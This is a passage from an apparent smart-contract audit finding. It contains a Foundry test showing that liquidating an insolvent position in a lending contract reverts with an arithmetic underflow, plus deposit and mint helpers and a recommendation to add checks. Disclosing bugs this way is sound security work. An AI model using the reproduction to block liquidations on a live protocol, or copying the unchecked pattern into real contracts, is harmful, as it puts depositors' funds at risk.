    function testLiquidationRevertsWhenThePositionBecomesInsolvent() public {
        vm.roll(1000); // set initial block

        fakeYieldToken.setPrice(1e18); // set initial price
        _multipleUsersDeposit();
        uint256 borrowAmount = _depositIntoAlchemist(externalUser, 10e18, true, 12);
        _mintAlTokens(externalUser, borrowAmount, 12);

        fakeYieldToken.setPrice(5e17); // Set the price low so the position can become not only
        ↪  undercollateralized but insolvent
```

```
        alchemist.liquidate(12); // [Revert] panic: arithmetic underflow or overflow (0x11)

    }

    function _depositIntoAlchemist(address account, uint256 amount, bool openNewPosition, uint256
    ↪  tokenId) internal returns(uint256) {
        uint256 newPosition = 0;
        if (!openNewPosition) {
            newPosition = tokenId;
        }
        vm.startPrank(account);
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
        alchemist.deposit(amount, account, newPosition); // deposit collateral and mint position NFT
        vm.stopPrank();

        uint256 borrowableAmount = alchemist.getMaxBorrowable(tokenId);
        return borrowableAmount;
    }

    function _mintAlTokens(address account, uint256 amount, uint256 tokenId) internal returns (uint256)
    ↪  {
        vm.prank(account);
        alchemist.mint(tokenId, amount, account);
        uint256 alBalance = alToken.balanceOf(account);
        vm.stopPrank();
        vm.roll(vm.getBlockNumber() + 1);
        return alBalance;
    }

    function _multipleUsersDeposit() internal {
        uint256 tokenIdNonce = 1;
        for (uint256 i = 1; i < 12; i++) {
            address account = makeAddr(string(abi.encode(i)));
            deal(address(fakeYieldToken), account, accountFunds);
            uint256 borrowableAmount = _depositIntoAlchemist(account, 15e18, true, tokenIdNonce);
            _mintAlTokens(account, borrowableAmount, tokenIdNonce);
            tokenIdNonce++;
        }
    }
}
```

Recommendation: Implement proper checks to prevent underflow revert.